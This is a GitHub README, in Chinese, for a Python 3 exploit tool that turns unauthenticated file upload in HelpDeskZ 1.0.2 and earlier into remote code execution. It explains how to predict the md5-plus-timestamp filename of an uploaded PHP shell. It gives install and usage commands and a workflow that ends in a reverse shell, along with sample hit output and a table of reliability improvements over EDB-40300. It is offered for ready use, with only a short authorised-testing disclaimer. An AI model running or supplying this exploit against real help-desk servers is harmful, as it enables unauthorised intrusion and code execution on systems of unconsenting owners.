appl3b0y/helpdeskz-rce

GitHub: appl3b0y/helpdeskz-rce

针对 HelpDeskZ ≤ 1.0.2 任意文件上传到 RCE 漏洞的 Python 3 利用工具,通过服务器时钟同步和哈希回溯预测附件路径实现远程代码执行。

Stars: 0 | Forks: 0

# helpdeskz-rce **HelpDeskZ ≤ 1.0.2 — 未认证任意文件上传到 RCE。** Python 3 移植版本,包含服务器时钟同步、实时进度显示以及 reverse-shell 检测。 基于 Lars Morgenroth (@krankoPwnz) 的 [EDB-40300](https://www.exploit-db.com/exploits/40300)。 由 [appl3b0y](https://github.com/appl3b0y) 移植并改进。 ## 背景 HelpDeskZ ≤ 1.0.2 将工单附件存储在哈希文件名下: ``` // controllers/submit_ticket_controller.php — line 141 $filename = md5($_FILES['attachment']['name'].time()).".".$ext; ``` 文件名看起来是随机的,但**完全可预测**:它是 `md5(originalFilename + uploadEpoch)`。通过同步到服务器的时钟并向后暴力破解几百秒,攻击者可以恢复存储的文件名并访问上传的 PHP shell。 ## 安装 ``` git clone https://github.com/appl3b0y/helpdeskz-rce cd helpdeskz-rce pip install requests ``` 需要 Python ≥ 3.7。 ## 用法 ``` usage: helpdeskz_upload.py [-h] [-w SECS] [-t TIMEOUT] [-k] url name positional arguments: url attachments dir, e.g. http://host/helpdeskz/uploads/tickets/ name original filename you uploaded (e.g. shell.php) options: -w, --window SECS seconds to search backwards (default 300) -t, --timeout per-request timeout in seconds (default 7) -k, --insecure skip TLS certificate verification ``` ### 工作流程 1. 在目标 HelpDeskZ 实例上提交一个工单,附上你的 `shell.php`(reverse shell 或 command shell),完成验证码并提交。 2. 忽略 `"File is not allowed."` 消息。 3. 立即针对附件目录运行脚本: ``` python3 helpdeskz_upload.py http://target.local/helpdeskz/uploads/tickets/ shell.php ``` 对于 **reverse shell**,脚本会检测挂起的响应并打印 URL,同时你可以在你的 listener 上接收回调。对于 **command shell**,它会报告 URL 和一个 `curl` payload 示例。 ### 示例输出 ``` [*] server time ~ 1780570912 (11:01:52 UTC) [*] target http://target.local/helpdeskz/uploads/tickets/ [*] guessing md5('shell.php' + time) over 300s [ - 42s ] f0138b663e7348bc5c4bf0c0f4f792f1.php -> hung [+] found (payload executing): http://target.local/helpdeskz/uploads/tickets/f0138b663e7348bc5c4bf0c0f4f792f1.php [*] reverse shell? check your listener. ``` 如果在默认的 300 秒窗口内未找到任何内容,请扩大窗口: ``` python3 helpdeskz_upload.py http://target/.../ shell.php -w 900 ``` ## 相比原版 PoC 的改动 | 领域 | 原版 (EDB-40300) | 此移植版 | |---|---|---| | **Python 版本** | 仅支持 Python 2 (`print` 语句) | Python 3 | | **MD5 输入** | `hashlib.md5(str)` — 在 Py3 上会报 `TypeError` | `hashlib.md5(bytes)` | | **时间戳来源** | 本地时钟 (`time.time()`) — 在攻击者和目标之间存在任何时钟偏差时均会失败 | 从 HTTP `Date` 头解析服务器时钟,并以本地时间作为后备 | | **Reverse-shell 检测** | 仅查找 `200` — 静默跳过因 PHP payload 阻塞响应而挂起的文件 | 将请求**超时视为命中**(涵盖 `ReadTimeout`、`ConnectTimeout`、HTTP 和 HTTPS) | | **进度反馈** | 在成功或失败之前保持静默 | 实时单行进度:偏移量、候选哈希、HTTP 状态 | | **CLI** | 两个固定的位置参数 | 带有 `-w` (窗口)、`-t` (超时)、`-k` (不安全 TLS) 的 `argparse` | | **TLS 支持** | 隐式,在自签名证书上会报错中断 | 使用 `-k` 跳过证书验证 | | **文件扩展名** | 硬编码 `.php` | 从上传的文件名中提取(适用于 `.php5`、`.phtml`、无扩展名的文件等) | | **错误处理** | 遇到任何请求异常都会崩溃 | 针对每个请求的异常处理;单个请求失败不会中止运行 | | **响应处理** | 泄露未关闭的响应 | 使用上下文管理器 (`with sess.get(...) as r`) | 两个最重要的改动是: - **Reverse-shell 检测。** 每当 payload 是 reverse shell 时,原版会静默跳过正确的文件,因为请求从未返回 `200` —— 它会一直挂起直到超时,被当作错误丢弃,然后循环继续。此移植版将超时的 HEAD 请求视为它实际上的成功信号。 - **服务器时钟同步。** 攻击者主机与目标之间任何重大的偏差(在由 VPN 构建的实验网络中很常见)都会将哈希文件名移出搜索窗口,使得原版 PoC 看起来像是失效的,而实际上它只是在为错误的 epoch 计算有效的哈希。 ## 免责声明 仅供授权的安全测试、CTF 和教育使用。请勿对您不拥有或未获得明确测试许可的系统运行此工具。 ## 致谢 - **原始漏洞研究和 PoC:** Lars Morgenroth ([@krankoPwnz](https://twitter.com/krankoPwnz)) — [EDB-40300](https://www.exploit-db.com/exploits/40300) - **Python 3 移植和改进:** [appl3b0y](https://github.com/appl3b0y)
标签:CISA项目, Python, Web安全, 安全, 无后门, 蓝队分析, 超时处理